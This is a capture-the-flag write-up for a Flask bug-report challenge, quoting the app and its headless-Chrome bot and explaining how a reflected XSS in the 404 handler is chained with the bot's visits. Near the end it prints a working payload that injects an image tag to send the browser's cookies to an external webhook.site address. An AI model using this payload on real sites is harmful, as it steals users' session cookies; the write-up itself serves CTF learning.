They say humans shall not take control to any of their resources. Can you prove them wrong without letting them know.
Provided docker environment.
This is a Flask webapp, with the relevant source code files.
app.py
from flask import Flask, request, render_template
from urllib.parse import unquote
from bot import visit_report
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/api/submit", methods=["POST"])
def submit():
try:
url = request.json.get("url")
assert(url.startswith('http://') or url.startswith('https://'))
visit_report(url)
return {"success": 1, "message": "Thank you for your valuable submition!"}
except:
return {"failure": 1, "message": "Something went wrong."}
@app.errorhandler(404)
def page_not_found(error):
return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404
app.run(host="0.0.0.0", port=1337)
bot.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
def visit_report(url):
options = Options()
options.add_argument('headless')
options.add_argument('no-sandbox')
options.add_argument('disable-dev-shm-usage')
options.add_argument('disable-infobars')
options.add_argument('disable-background-networking')
options.add_argument('disable-default-apps')
options.add_argument('disable-extensions')
options.add_argument('disable-gpu')
options.add_argument('disable-sync')
options.add_argument('disable-translate')
options.add_argument('hide-scrollbars')
options.add_argument('metrics-recording-only')
options.add_argument('mute-audio')
options.add_argument('no-first-run')
options.add_argument('dns-prefetch-disable')
options.add_argument('safebrowsing-disable-auto-update')
options.add_argument('media-cache-size=1')
options.add_argument('disk-cache-size=1')
options.add_argument('user-agent=BugHTB/1.0')
browser = webdriver.Chrome('chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log'])
browser.get('http://127.0.0.1:1337/')
browser.add_cookie({
'name': 'flag',
'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}'
})
try:
browser.get(url)
WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete')
except:
pass
finally:
browser.quit()
With /api/submit
endpoint, we can make the app do an HTTP
request. We can see that bot.py
uses a headless chrome browser to first call http://127.0.0.1:1337/
and add the flag to the cookie, but only for that domain. After that, our request is sent. We can create a custom endpoint using https://webhook.site
and request this endpoint from the app.
And watch the webhook.
We get a hit.
We can see in app.py
that in the 404
handler, there is an XSS
. Whatever we put in url
will get reflected in browser. We are going to use this later.
First idea would be to send a request to a remote endpoint, using https://webhook.site
and grab the document.cookie
, but that doesn’t work because the cookie is only stored for the domain 127.0.0.1
. Since we have the XSS
, we can send a request for 127.0.0.1
and use the XSS
(within the domain of 127.0.0.1
) to grab the cookie and send it to our remote endpoint. Effectively, we are using the SSRF
to make the server do the request to itself.
http://127.0.0.1:1337/<script>document.write("<img src=x onerror=this.src='https://webhook.site/f769c238-a3f1-412e-90ed-f31a2031bbd5/?asdf='+document.cookie>")</script>
Here, we are injecting an image tag to the DOM
and using the src
error to send the cookie as a GET
parameter with our remote endpoint (a simple fetch would also do the job :D).
We send this crafted string to the report form on the website and wait for the hit on our remote endpoint.
CHTB{th1s_1s_my_bug_r3p0rt}